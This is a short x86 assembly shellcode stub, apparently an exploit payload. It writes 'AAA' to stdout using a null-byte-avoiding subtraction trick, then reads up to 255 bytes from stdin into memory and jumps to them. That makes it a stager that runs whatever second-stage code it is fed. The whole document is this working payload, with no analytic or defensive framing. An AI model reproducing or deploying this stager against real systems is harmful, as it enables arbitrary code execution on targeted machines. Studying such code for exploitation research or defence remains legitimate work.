.globl cbegin .globl cend cbegin: /* write: ebx = fd, ecx = where, edx = length, eax = 4 */ wr_pos: xorl %ebx, %ebx incl %ebx /* ebx = 1 */ movl $0x0b51740b, %eax subl $0x01010101, %eax push %eax movl %esp, %ecx /* ecx = "AAA\n" */ push $0x04 pop %eax /* eax = 4 */ movl %eax, %edx int $0x80 /* write (1, "AAA\n", 4) */ jmp ctramp rd_cde: xorl %ebx, %ebx mull %ebx /* ebx = eax = edx = 0 */ decb %dl /* edx = 0xff */ popl %ecx /* ecx = ncode */ push $0x3 pop %eax int $0x80 /* read (0, ncode, 0xff) */ jmp ncode ctramp: call rd_cde ncode: cend: